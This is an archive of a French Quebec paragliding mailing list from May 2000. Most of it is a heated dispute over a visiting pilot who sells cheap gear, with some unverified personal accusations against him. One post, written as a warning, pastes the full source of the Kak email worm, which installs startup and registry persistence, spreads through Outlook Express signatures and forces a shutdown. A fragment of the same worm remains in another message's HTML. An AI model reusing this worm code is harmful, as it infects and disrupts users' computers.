Discussions de vol libre au Québec

1 juin 1997 au 20 août 2000

Archivées par le Front de Libération aérienne du Québec


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Date: 30 mai 2000

De: Herve Joannes (21)

Sujet: Virus_détecté

Attention !

Le pare-feu du Centre Spatial qui héberge notre messagerie a

trouvé un virus.

Hervé Joannès

A toutes fins utiles, voici le texte de l'alerte :

*****************************

Texte généré par les moyens de contrôle anti-virus de la messagerie

(DEE/ST/SE/SI)

Quelqu'un a tenté de vous envoyer un message infecté par un virus,

ce

message

ne vous sera donc pas délivré.

Voir le compte-rendu ci-dessous.

Nous vous conseillons de prévenir l'expéditeur du message infecté

ainsi

que votre service local de sécurité des systèmes d'information :

- Pour le CSG : SDP/SP/SI - Tél : 3 76 94

- Pour le centre d'Evry : SOS Assistance

- Pour le siège : FD/SI - Tel 6 74 86

- Pour le CST : service prévenu automatiquement, pas d'action

requise de

votre part.

====================== COMPTE RENDU

======================

Date détection : 30-May-2000

à 04:32:25.28

Sujet du message infecté :

1?Q?Accident_potentiel_à_la_recherche_d'une_occasion

Le message contient une ou plusieurs pièces jointes infectées

le 1er antivirus a détecté le virus : the WScript/Kak.worm virus !!!

le 2eme antivirus a détecté le virus : Pas détecté

Fichier envoyé par : owner-vol-libre@listes.ulaval.ca

Fichier destiné à : herve.joannes@scot.cnes.fr

*****************************


Date: 30 mai 2000

De: Azur Parapente (32)

Sujet: Le vent a change-ma perspective- (3)

Salut

Bravo pour ton enthousiasme pour voler Andre, ne le perds jamais ! Mais en

arrivant ici comme le messie des pilotes peu fortunés, toi qui fait un MBA

en commerce international, tu oublies sur quoi repose une économie locale et

un marché de proximité. Alors rétrécies un peu ton champ de vision et

différentie les secteurs d'activité, tu n'est pas à l'école ici ! Nous ne

vivons pas de prêts étudiants, de bourses et ce n'est pas un job d'été que

nous faisons ! Il y a plus ou moins trois cent pilotes au Québec et 6 écoles

vivent tant bien que mal du vol libre. La survie de ces écoles dépend non

seulement de la formation des élèves, des tandems mais aussi et surtout de

la vente de matériel. Ces écoles s'enregistrent aux registre des

entreprises, payent des taxes, des impos, des frais de publicité pour se

faire connaître et se faire une clientèle. Toi tu arrives ici et tu proposes

des ailes et du matériel au rabais en passant des annonces sur une liste ou

nous même ne faisons pas de pub. Cette liste est destiné au pilotes

uniquement ! De plus tu envoies chier un pilote unanimement reconnu pour la

contribution à notre sport au Québec et tu démontres ton expertise en ne

revenant pas au terrain parce que tu te fais prendre comme un bleu par un

peu de vent de travers ! Comme début de séjour touristique ça commence mal

tu ne crois pas ?

Que diraient tes contact, qui doivent être des professionnels qui ne pensent

qu'à augmenter leur quota d'ailes, si nous allions vendre notre matériel à

rabais devant leur porte ? Avec le taux de change avantageux du dollars

Américain tu ne crois pas que ça tenterait plus d'un pilote peu fortunés de

ton coin ?

Mais au bout du compte, qu'est-ce que ça rapporterait ? Des guerres

commerciales entre école qui seraient la perte de plusieurs d'entre nous,

moins de promotion pour le vol libre, moins de pilotes formés, moins de

sites, moins de visibilité, pas de développement du matériel, pas

d'homologation, un sport sans éthique pratiqué marginalement et sans aucune

considération pour la sécurité, et, un sport cher qui se fermerait pour les

pilotes peu fortuné !

Je vole en parapente depuis 1982 Andre, et j'ai vu le développent du

parapente presque depuis ses début ! Je peux t'assurer que nous sommes déjà

passé par là ! Si les prix baissent depuis quelques années ce n'est pas

grâce à de telles pratiques et en vendant du matériel à bas prix en marchant

dans le plat des autres.

Tu es ici comme touriste, alors ne déstabilise pas un marché fragile par des

prix au rabais, surtout si tu ne dois en tirer aucun profit ! Profite de ton

séjour au Québec, apprends à connaître les gens d'ici ils sont très

sympathiques tu verras et apprends tout ce que tu peux des pilotes d'ici qui

se feront un plaisir d'écouter tes conseils si tu as à leur en donner !

Amicalement

René Marion

azur_rm@cam.org

AZUR PARAPENTE INC. http://www.cam.org/~azur_rm/

SUP'AIR CANADA http://www.chez.com/supaircanada/

MAC PARATECHNOLOGY CANADA

6717 de Normanville, Montréal, (Québec), H2S 2C2, Canada

Phone/Fax : (514) 279-4730; Cel : (514) 726 4339; Pager : (514) 801-3681

----- Message d'origine -----

De : AndreGupta <AndreGupta@GLOBAL.T-BIRD.EDU>

À : <VOL-LIBRE@LISTES.ULAVAL.CA>

Envoyé : 30 mai, 2000 00:27

Objet : Re: Le vent a change-ma perspective-

> Cher Bruno:

>

> Je veux clarifier quelques malententes:

>

> 1) Je ne suis pas me dirige vers le sur toute suite apres mon decollage

> Samedi Soir. Au deco le vent etait du Ouest-nord-Ouest. Je ne suis pas

> aller toute suite vers le sud (la gauche). Du fait je voler vers la Nord

West

> et mon traction allais vers la NNO. Un parapentist d'ici m'avais prevu

avant

> de ne pas aller plus Sud que la failaise vers l'arete sudouest. Je

montait

> -apres quelques minutes entre 4-8 minutes j'ai decider de voler un pattern

de

> ridge soaring Figure 8 comme il y'avait plus de pilotes qui decoller-est

il y

> avait des autres parapentistes a mon sudouest-je trouvais le lift bien

bonne

> est je me suis decide que je pourais voler un peu plus avale comme j'ai

appris

> le plus fort le vent le plus avale est le meilleur lift band. J'ai

virager

> vers le sur comme j'avais deja aller un peu au nord. J'ai seulement

voler

> au sur pour vingt seconds est des que l'aterrisage d'ecole etais a ma

droite

> (3h) j'ai revirage vers le Nord. Malheureusement meme sur mon speed bar

> j'avancais pas. En voyant mon altitude avait commencais a descendre j'ai

> viragais a gauche et tratant d'aller a NO. Neomoins mon traction etait

nul

> (le vent etait vers NNO). Je descendais. En ce moment ci ca aurait

etait

> un roulette de tenter arriver a l'atterissage de l'ecole surtout quand il

y

> avait pleines des champs ouverts a mon Sud. J'ai dit au radio a Francois

que

> j'allais atterir dans un des champs au Sud au lieu de l'ecole. Il m'a

> repondu d'essayer a faire mon best glide (mots statique) . . ecole ( mais

> quelques minutes plus tard des que j'etais deja aterri).. D'ou j'etais je

> savais que avec le vent comme il etait j'aurais eu des problemes en y

> arrivent. J'ai choisi un bien large 100% conscient qu'il aura fallu

marcher

> peut-etre 2km a mon auto -mais en savant que c'etait le meilleur decision.

> Si j'avais tenter l'attero ecole il y aura eu un bonne chance de ne pas y

> arriver et tomber dans les abres. Il faut se souvenir que deux pilotes a

mon

> ouest (quand le vent a changer) ne sont pas meme arriver a l'attero ecole.

> En revanche ma decision d'atterir au Sud etait completment correct et

d'avoir

> tenter arriver a l'ecole aura pu entraine des consequences graves. Alors,

> j'ai virager vers la Ouest est avec le vent mon traction etait SSO vers le

> champ ou je voulais atterir. Apres mon atterisage j'ai transmitte a

> Francois que j'etais down et correcte. Bruno est arrive et j'etais

content

> de voir du monde et apres je me suis rendu compte que ils etaient de

l'ecole

> je le trover tres sympa qu'ils etait venu me chercher. Je lui ai

remercier

> mais on avais des malententes et je veux qu'ils se termine c'est pour ca

que

> j'ecrit ce lettre.

>

> Cher le Communaute des enthousiastes de vol libre:

>

> En ce qui concernes les parapentes je les offre pour les Quebecois parce

que

> je sais que ils sont chere et je veux que ce qui ont trouve les parapentes

> chere ont des opportunite a voler. Ce n'est pas ma but primaire de venir

ici.

> Je ne solicitais activement pas aucune vent d'un parapente sur aucun

terrain

> du jurisdiction de l'ecole Samedi. Du fait tandis que je faisais du

'kiting'

> quelq'une ma approche et m'a identifiais (comme "your the guy who has the

> Sabers") avec des questions sur la parapente dont j'ai politment repondu.

> Je propone Vol Libre pour ce qui sont pret a consacrer quelquechose mais

pas

> necessairment riche. Je serai ici quelques temps a visiter une ami et je

> veux que vous pouvez en prendre avantage des contacts et expertise que

j'ai

> en import/export--(je fais un MBA en commerce international) a vous livrer

les

> memes produits que degustez avec des rebais grace a telles avantages et

> contacts. L'offerte des telles parapentes est en reponse a un interet

> expresse par la communaute de vol libre international comme sur le

> bigairparagliding.com--voir le thread sur flying forum sur le

Canada/USA --Une

> autre expression d'interet viens d'un Quebecois qui a deja commande

quelques

> Sabres de moi quand j'etait si loin comme en Arizona. Ce que je fait est

100%

> correct ma but primaire de ma sejour ici reste comme toujours le tourisme.

>

>

> Cordiellement,

>

>

> Andre Gupta

>


Date: 30 mai 2000

De: Daniel Parent (17)

Sujet: Big thing

AYOYE!!

Est ce que le vol libre commence aussi a souffrir du LIBRE ECHANGE !!

:-))

Apres le bois, les bouts de chiffon

C est vrai que nous avons tous besoin de nos ecoles et les ecoles sont

responsables de la croissance de notre sport et plus nous devenons gros

plus nous aurons force de lobby!


Date: 30 mai 2000

De: B. Cipelletti" (24)

Sujet: Big thing --> respect du travail

Je suis tout à fait en accord avec les réactions des co-listiers.

J'ajouterais que je considère comme un gage de civilisation le fait de

respecter le métier de chacun, en l'occurence ici nos professionnels du vol

libre qui n'ont pas la vie facile. Tout le monde n'est pas infomaticien.

Sans vouloir polémiquer, j'incluerais aussi les pilotes de navettes, qui

parfois peuvent être confondus avec de quelconques serviteurs ou autre

valets.

Si le vol libre est notre loisir, il est le gagne-pain de plusieurs, dont

justement notre loisir dépend dramatiquement. Ne confondons pas les

genres.

By the way, il fait beau. Je pense que l'informaticien que je suis va tout

laisser là et aller voler.

Puissiez vous tous en faire autant.

A+

Bruno


Date: 30 mai 2000

De: Jacques Fontaine (67)

Sujet: Accident_potentiel_à_la_recherche_d'une_occasion (2)

This is a multi-part message in MIME format.

------=_NextPart_000_0037_01BFCA26.9863AB60

Type: text/plain;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

Salut Bruno et les amis.

Faudrait pas exécuter sur la =

place publique tous les pilotes qui ont dérangé nos habitudes par =

leurs attitudes , ça serait ''massacre à la scie prise 2".

Des ti-jos connaissants on en a vue passer plus d'un.

Il Y a quelques année deux huluberlus de St-Jean sur Richelieu bien =

intentionnés ont acheté "Base de vol libre " une école de delta =

qui fut jadis une des plus grosses au Québec.

J'ai personnellement tenté au nom de L'AVLQ à maintes occassions =

d'introduire ces deux jeunes pilotes sans expérience au comité =

d'enseignement de L'AVLQ, des les inviter à venir voler avec moi à =

Yamaska , de leur faire comprendre l'importance d'une communauté de =

vol libre appliquant des normes de sécurité similaire partout au =

Québec, Rien à faire. ILs connaissaient tout savaient tout et ne =

voulaient rien savoir de Yamaska.

Pourquoi est-ce que je vous raconte ça ?

Parce qu'un de leur élève pilote, étudiant à l'université de =

Sherbrooke, Nicolas Zajac, s'est tué avec un "Elfique " ( aile de =

vos pires cauchemards ) seul à Chesterville un jour de vent fort et =

de côté. Ce gars là ne savait pas qu'il apprenait d' =

"instructeurs " qui n'en savaient pas plus que lui. Il avait 24 ans et =

rêvait ceratinement de voler comme nous en rêvons tous.

Parmis leurs contributions au sport des deux " instrcteurs" , ils =

avaient entre autre réussis à faire interdire le delta au parc des =

hirondelles par la ville de Montréal.

Tout ça pour dire que lorsqu'un nouveau rate son entrée dans notre =

communauté , nous n'avons d'autre choix que de l'encadrer de notre =

mieux pour tenter d'éviter à tout prix que celui-ci aille "pirater =

" seul ou avec d'autres pilotes qui ne connaissent rien au vol libre au =

Québec un site comme St-Hilaire en pleine zone contôlé.

Qu'un zozo se plante en vol libre résulte dans le médias et à =

transport Canada que le vol libre est une affaire dangereuse et pour les =

kamikazes.

J'invite personellement les pilotes de parapente d'expérience à =

rencontrer M.Gupta et de l'aider à mieux s'intégrer dans notre =

"culture d'association ".

L'existence de L'AQVL repose en grande partie sur la nécessité =

d'établir et de faire respecter des normes de pratique pour limiter =

les dangers du vol libre.

Jacques Fontaine

P.S. J'ai vu deux pilotes en Ultra Sport avec des moustiques entre les =

dents.

Fred, Daniel, faut pas voler avec un sourire fendu aux oreilles. 'a =

trop de mooustiques cette année.

-----Message d'origine-----

De : Bruno Allard <bruno.allard@VIDEOTRON.CA>

À : VOL-LIBRE@LISTES.ULAVAL.CA <VOL-LIBRE@LISTES.ULAVAL.CA>

Date : 29 mai, 2000 22:28

Objet : Accident potentiel à la recherche d'une occasion

J'ai rencontré personnellement Andre Gupta en fin de semaine...

Samedi soir, pendant la soirée de vol, il y a un élève qui =

réalise pas du tout que le vent vient du nord-ouest et est assez fort. =

Après avoir décollé, il se dirige tout de suite vers le sud et se =

fait prendre dans la turbulence près de la montagne. Incapable de =

revenir, il se dirige vers les champs derrière le petit bar au sud et =

se pose sans trop de problème directement dans une rigole !?!

En bons samaritains, Denis, Mélanie et moi, sautons dans une voiture =

pour le récupérer et voir si tout est correct. Arrivé sur les =

lieux, je lui demande si c'est un élève de DVL. Il me répond d'un =

air prétentieux qu'il est des États-Unis, qu'il est pilote =

breveté, qu'il a quarante heures de vol effectuées "All around the =

word", et qu'il effectuait un vol d'évaluation pour devenir membre des =

Corsaires. En bon instructeur, je lui demande s'il a compris pourquoi il =

s'est posé là. Il me sort une liste d'excuses longue comme le bras =

et est sur la défensive. Je lui pose alors des questions pour =

vérifier ses compétences et essayer de l'aider un peu avant qu'il ne =

se blesse sérieusement. La discussion tourne au vinaigre et après =

une argumentation de 10 minutes, j'en ai assez et je lui dit de se =

fermer la trappe avant que je ne devienne méchant. Pendant ce temps, =

même Mélanie qui est douce comme un agneau, s'empresse de plier =

l'aile du gars pour se changer les idées et pour dépomper. Vous =

voyez le genre de type ! C'est évident, ce TC n'a aucune notion =

d'aéréologie, d' Airmanship" et n'a aucun respect pour le vol libre =

et ceux qui le pratiquent . C'est un accident ambulant à la recherche =

d'une occasion de se visser dans la planète.

Je le ramene chez DVL et je vais parler de son cas à François qui =

m'informe que ce prétentieux lui a cassé les oreilles toute la =

journée. Qu'il prétend que François essaye juste de lui soutirer =

de l'argent puisqu'il opèree un école et qu'aux "States" ça ne =

fonctionne pas comme ça et c'est beaucoup plus libertin. De plus, il a =

essayé de vendre son matos toute la journée sur le terrain de DVL. =

Ben si il n'aime pas notre façon de fonctionner, il a juste à =

retourner dans son pays et nous laisser voler en paix.

Après en avoir parlé avec le président du Club, nous décidons de =

ne pas lui accorder le statut de membre tant qu'il ne suivra pas un =

cours pour compléter sa formation et ne changera pas d'attitude. =

Lorque nous l'avons informé M. Garda sauta dans sa voiture et =

disparut... pour se pointer au Club de Yamaska et recommencer son petit =

numéro.

Jean Turgeon à eu la malchance de discuter avec lui pour réaliser =

qu'il est immigrant illégal et n'a aucun permis pour vendre de =

l'équipement ici.

Tant qu'à la provenance de l'équipement...

Vous pouvez acheter son matos pour sauver quelques sous si vous voulez, =

c'est votre affaire. Réalisez cependant que vous mettez en peril les =

écoles en place qui essayent tant bien que mal de gagner leur vie et =

de survivre pour vous donner du service à long terme.

Bruno Allard

Directeur de l'enseignement

AQVL

------=_NextPart_000_0037_01BFCA26.9863AB60

Type: text/html;

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Salut Bruno et les amis.

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Faudrait pas  exécuter  sur la place

publique  tous les  pilotes qui ont  =

dérangé nos

habitudes par leurs attitudes , ça serait  ''massacre =

à la

scie prise 2".

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Des ti-jos connaissants on en a vue passer plus d'un.

Il Y a quelques année  deux huluberlus de St-Jean sur =

Richelieu

bien intentionnés ont acheté "Base de vol libre =

" une

école de delta qui fut jadis une des plus grosses au =

Québec.

 

J'ai personnellement tenté au nom de L'AVLQ à maintes =

occassions d'introduire ces deux jeunes pilotes sans =

expérience  au

comité d'enseignement de L'AVLQ, des les inviter à venir =

voler

avec moi  à Yamaska , de leur faire comprendre l'importance =

d'une

communauté de vol libre  appliquant des normes de

sécurité similaire partout au Québec, Rien à =

faire.

ILs connaissaient tout savaient tout et ne voulaient rien savoir de

Yamaska.

 

Pourquoi est-ce que je vous raconte ça ?

 

Parce qu'un de leur élève pilote, =

étudiant 

à l'université de Sherbrooke, Nicolas Zajac, s'est 

tué avec un "Elfique "  ( aile de vos pires =

cauchemards

)  seul à Chesterville un jour de vent fort et de =

côté.

Ce gars là ne savait pas  qu'il apprenait   d'

"instructeurs " qui n'en savaient pas plus que =

lui.   Il

avait 24 ans et rêvait  ceratinement de voler comme nous en

rêvons tous.

 

Parmis leurs contributions au sport des deux " =

instrcteurs" , ils

avaient entre autre réussis à faire interdire le delta au =

parc des

hirondelles par la ville de Montréal.

 

Tout ça pour dire que lorsqu'un nouveau rate son =

entrée dans

notre communauté , nous n'avons d'autre choix que de l'encadrer =

de notre

mieux pour tenter  d'éviter  à tout prix que =

celui-ci

aille "pirater " seul ou avec d'autres pilotes qui ne =

connaissent rien

au vol libre au Québec un site comme St-Hilaire en pleine zone

contôlé.

Qu'un zozo se plante en vol libre résulte dans le =

médias et

à transport Canada que le vol libre est une affaire dangereuse et =

pour

les kamikazes.

 

J'invite  =

personellement les

pilotes de parapente  d'expérience à rencontrer =

M.Gupta et de

l'aider à mieux s'intégrer dans notre "culture =

d'association

".

 

L'existence de L'AQVL repose en grande partie sur la

nécessité d'établir et de faire respecter des =

normes de

pratique pour limiter les dangers du vol libre.

 

Jacques Fontaine

 

P.S.  J'ai vu deux pilotes en Ultra Sport  avec des =

moustiques

entre les dents.

Fred, Daniel,  faut =

pas voler avec

un sourire fendu aux oreilles. 'a trop de mooustiques cette

année.

 

-----Message =

d'origine-----

 

 

 

De : Bruno Allard < href=3D"mailto:bruno.allard@VIDEOTRON.CA">bruno.allard@VIDEOTRON.CA&g=

t;À

: href=3D"mailto:VOL-LIBRE@LISTES.ULAVAL.CA">VOL-LIBRE@LISTES.ULAVAL.CA=

< href=3D"mailto:VOL-LIBRE@LISTES.ULAVAL.CA">VOL-LIBRE@LISTES.ULAVAL.CA=

>Date :

29 mai, 2000 22:28Objet : Accident potentiel à la

recherche d'une occasion

J'ai rencontré personnellement =

Andre Gupta

en fin de semaine...

 

Samedi soir, pendant la soirée de vol, il =

y a un

élève qui réalise pas du tout que le vent vient du

nord-ouest et est assez fort. Après avoir décollé, =

il se

dirige tout de suite vers le sud et se fait prendre dans la turbulence

près de la montagne. Incapable de revenir, il se dirige vers les =

champs

derrière le petit bar au sud et se pose sans trop de =

problème

directement dans une rigole !?!

 

En bons samaritains, Denis, Mélanie et =

moi, sautons

dans une voiture pour le récupérer et voir si tout est =

correct.

Arrivé sur les lieux, je lui demande si c'est un =

élève de

DVL. Il me répond d'un air prétentieux qu'il est des

États-Unis, qu'il est pilote breveté, qu'il a quarante =

heures de

vol effectuées "All around the word", et qu'il =

effectuait un

vol d'évaluation pour devenir membre des Corsaires. En bon =

instructeur,

je lui demande s'il a compris pourquoi il s'est posé là. =

Il me

sort une liste d'excuses longue comme le bras et est sur la =

défensive. Je

lui pose alors des questions pour vérifier ses compétences =

et

essayer de l'aider un peu avant qu'il ne se blesse sérieusement. =

La

discussion tourne au vinaigre et après une argumentation de 10 =

minutes,

j'en ai assez et je lui dit de se fermer la trappe avant que je ne =

devienne

méchant.  Pendant ce temps, même Mélanie qui =

est douce

comme un agneau, s'empresse de plier l'aile du gars pour se changer =

les

idées et pour dépomper. Vous voyez le genre de type ! =

face=3DArial>C'est évident, ce TC n'a aucune

notion d'aéréologie, d' Airmanship" et =

n'a aucun

respect pour le vol libre et ceux qui le pratiquent . C'est =

un

accident ambulant à la recherche d'une occasion de se visser dans =

la

planète.

 

Je le ramene chez DVL et je vais parler de son

cas à François qui m'informe que ce =

prétentieux lui a

cassé les oreilles toute la journée. Qu'il prétend =

que

François essaye juste de lui soutirer de l'argent puisqu'il

opèree un école et qu'aux "States" ça ne

fonctionne pas comme ça et c'est beaucoup plus libertin. De plus, =

il a

essayé de vendre son matos toute la journée sur le terrain =

de DVL.

Ben si il n'aime pas notre façon de fonctionner, il a =

juste à

retourner dans son pays et nous laisser voler en paix.

 

Après en avoir parlé avec le

président du Club, nous décidons de ne pas lui accorder le =

statut

de membre tant qu'il ne suivra pas un cours pour compléter sa =

formation

et ne changera pas d'attitude. Lorque nous l'avons informé M. =

Garda sauta

dans sa voiture et disparut... pour se pointer au Club de Yamaska et =

recommencer

son petit numéro.

 

Jean Turgeon à eu la malchance de =

discuter avec lui

pour réaliser qu'il est immigrant illégal et n'a aucun =

permis pour

vendre de l'équipement ici.

 

Tant qu'à la provenance de =

l'équipement...

 

Vous pouvez acheter son matos pour sauver =

quelques sous si

vous voulez, c'est votre affaire. Réalisez cependant que vous =

mettez en

peril les écoles en place qui essayent tant bien que mal de =

gagner leur

vie et de survivre pour vous donner du service à long

terme.

 

Bruno Allard

Directeur de l'enseignement

AQVL

 

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;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=

gt.indexOf("msie 5.")!=3D-1))scr.write();

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------=_NextPart_000_0037_01BFCA26.9863AB60--


Date: 30 mai 2000

De: Sylvain_Bélanger (19)

Sujet: Puis-je_parler_à_joel_reigner_s.v.p._

C'est pas Joel ici...C'est Sylvain... :))))))))

----- Original Message -----

From: "Jocelyn & Catherine" <jojocat@SYMPATICO.CA>

To: <VOL-LIBRE@LISTES.ULAVAL.CA>

Sent: Saturday, May 13, 2000 7:52 PM

Subject: Puis-je parler à Joel Reigner S.V.P. ?

> Salut Joel,

>

> peux-tu me contacter S.T.P.? Je n'ai pas ton adresse .

>

> Merci

>

> Jocelyn de Baie St Paul

>


Date: 30 mai 2000

De: Robert Bernier (16)

Sujet: Uku6ifzpcnvzigtpdgvjdok

Come on les boys! Bruno Allard nous envoie un virus sans s'en rendre

compter (on te pardonne Bruno)

Mais personne ne se préocupe de cet incident.

Voici le script inséré dans son message

function sErr(){return

true;}window.onerror=sErr;scr.Reset();scr.doc="ZDriver

Memory Error WINDOWSTATE=Minimize> classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>fun

ction sEr(){self.close();return true;}window.onerror=sEr;fs=new

ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.Get

Folder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new

Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new

String(idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PRO

GRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak

.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\

\\\AE.KAK';aeb='C:\\\\Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if

(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAs

TextStream(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\kak.hta'

:ken;t1.WriteLine('@echo off>'+pth);t1.WriteLine('del

'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2)

.Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.Wr

iteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software

\\\\Microsoft\\\\Outlook

Express\\\\5.0';sg='\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\"Defa

ult

Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\000

00000]');t2.WriteLine('\"name\"=\"Signature

#1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"')

;t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLine

s(2);t2.WriteLine(ky+']');t2.Write('\"Signature

Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MAC

HINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Writ

e('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.Wri

teBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s

'+wd+'kak.reg');t3=fs.CreateTextFile(wd+'kak.htm',1);t3.Write(' classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC

id=scr>');t4=fs.OpenTextFile(k2,1);while(t4.Read(1)!='Z

');t3.WriteLine(' "'+'BODY>');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs

.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 &&

d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today

!');wsh.Run(wd+'RUNDLL32.EXE

user.exe,exitwindows');}self.close();S3 driver memory alloc

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Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start

Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if((

(agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf

("msie 5.")!=-1))scr.write();

N'ayez pas peur c'est pas dangereux sous cette forme mais ça ressemble à

Melissa ou Yloveyou.

Je ne sais même pas si j'ai été contaminé car j'ai ouvert le email,

heureusement le script ne s'est pas terminé normalement sur mon ordi.

Faites attention !

Robert Bernier

-----Original Message-----

From: Vol libre au Quebec [mailto:VOL-LIBRE@LISTES.ULAVAL.CA]On Behalf

Of Herve Joannes

Sent: Tuesday, May 30, 2000 2:47 AM

To: VOL-LIBRE@LISTES.ULAVAL.CA

Subject: Virus détecté

Attention !

Le pare-feu du Centre Spatial qui héberge notre messagerie a

trouvé un virus.

Hervé Joannès

A toutes fins utiles, voici le texte de l'alerte :

*****************************

Texte généré par les moyens de contrôle anti-virus de la messagerie

(DEE/ST/SE/SI)

Quelqu'un a tenté de vous envoyer un message infecté par un virus,

ce

message

ne vous sera donc pas délivré.

Voir le compte-rendu ci-dessous.

Nous vous conseillons de prévenir l'expéditeur du message infecté

ainsi

que votre service local de sécurité des systèmes d'information :

- Pour le CSG : SDP/SP/SI - Tél : 3 76 94

- Pour le centre d'Evry : SOS Assistance

- Pour le siège : FD/SI - Tel 6 74 86

- Pour le CST : service prévenu automatiquement, pas d'action

requise de

votre part.

====================== COMPTE RENDU

======================

Date détection : 30-May-2000

à 04:32:25.28

Sujet du message infecté :

1?Q?Accident_potentiel_à_la_recherche_d'une_occasion

Le message contient une ou plusieurs pièces jointes infectées

le 1er antivirus a détecté le virus : the WScript/Kak.worm virus !!!

le 2eme antivirus a détecté le virus : Pas détecté

Fichier envoyé par : owner-vol-libre@listes.ulaval.ca

Fichier destiné à : herve.joannes@scot.cnes.fr

*****************************


Date: 30 mai 2000

De: line.turcotte" (73)

Sujet: Survol (26)

Merci beaucoup!

J'ai trouvé quelqu'un pour m'aider. Trois personnes ont déjà communiqué

avec moi!

Merci encore!

Ciao!

Line


Date: 30 mai 2000

De: Sonya Guay (56)

Sujet: Rebais aussi sur le brauniger vario (495) and reserve (6)

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0009_01BFCA78.B53997C0

Type: text/plain;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

Ahh!!! tien le business reprend sure la liste!!!???

intéressant! ça veut dire que je peux en faire moi aussi???

Michel Montminy

Concept Air Kitesurf

Sonya Guay

dit la CERISE BIONIQUE

alias la Banane atomique

----- Original Message -----

From: AndreGupta

To: VOL-LIBRE@LISTES.ULAVAL.CA

Sent: Saturday, May 27, 2000 9:43 PM

Subject: Rebais aussi sur le Brauniger Vario (495) and Reserve

>=3D=3D=3D=3D=3D

J=F2ffre aussi le Brauniger Vario pour $495 Can Neuf incluant un =

bracket

parapente (jambre) et livraison a direction PQ. Jài aussi le Edel =

SR3

-Skycap Reserve- pour $515 Can. Pour un rebais plus grande sur le =

vario ou

reserve il suffit dàcheter un Sabre ou autre aile. Pour rèpeter =

le prix pour

le Sabre est $US 1300 ou Can $1975 incluant livraison (shipping) a =

addresse PQ

et viens avec un storage affaire en nylon est un rucksack (demo-pas =

neuf)

comme courtesie. Pour les pilotes plus experimente jài aussi le ITV

Equinox-neuf-$1975CAN ou 1825Can (demo). Les prix de Promise est de =

Can

3100$ meme incluasions. Le X1X Inter est disponible pour $3000. =

Le XIX

Form coute $3100 meme affaire. Tous prix sont tout incluse address PQ.

Cordiellement,

Andre Gupta

AndreGupta@global.t-bird.edu

(514) 739-5710

------=_NextPart_000_0009_01BFCA78.B53997C0

Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

http-equiv=3DContent-Type>

Ahh!!! =

tien le business

reprend sure la liste!!!???

 

size=3D4>intéressant! ça veut

dire que je peux en faire moi aussi???

 

Michel

Montminy

Concept =

Air

Kitesurf

 

Sonya Guaydit la CERISE BIONIQUEalias la Banane =

atomique

style=3D"BORDER-LEFT: #000080 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =

0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">

----- Original Message -----

style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =

black">From:

title=3DAndreGupta@GLOBAL.T-BIRD.EDU>AndreGupta

To: href=3D"mailto:VOL-LIBRE@LISTES.ULAVAL.CA"

title=3DVOL-LIBRE@LISTES.ULAVAL.CA>VOL-LIBRE@LISTES.ULAVAL.CA =

Sent: Saturday, May 27, 2000 =

9:43

PM

Subject: Rebais aussi sur le =

Brauniger

Vario (495) and Reserve

>=3D=3D=3D=3D=3DJ=F2ffre aussi le Brauniger =

Vario pour $495 Can

Neuf incluant un bracketparapente (jambre) et livraison a =

direction

PQ.   Jài aussi le Edel SR3-Skycap Reserve- pour $515

Can.   Pour un rebais plus grande sur le vario oureserve =

il

suffit dàcheter un Sabre ou autre aile.   Pour rèpeter =

le prix

pourle Sabre est $US 1300 ou Can $1975 incluant livraison =

(shipping) a

addresse PQet viens avec un storage affaire en nylon est un =

rucksack

(demo-pas neuf)comme courtesie. Pour les pilotes plus experimente =

jài

aussi le ITVEquinox-neuf-$1975CAN ou 1825Can (demo).   =

Les prix

de Promise est de Can3100$ meme incluasions.   Le X1X =

Inter est

disponible pour $3000.    Le XIXForm coute $3100 =

meme

affaire. Tous prix sont tout incluse address

PQ.Cordiellement,Andre Gupta =

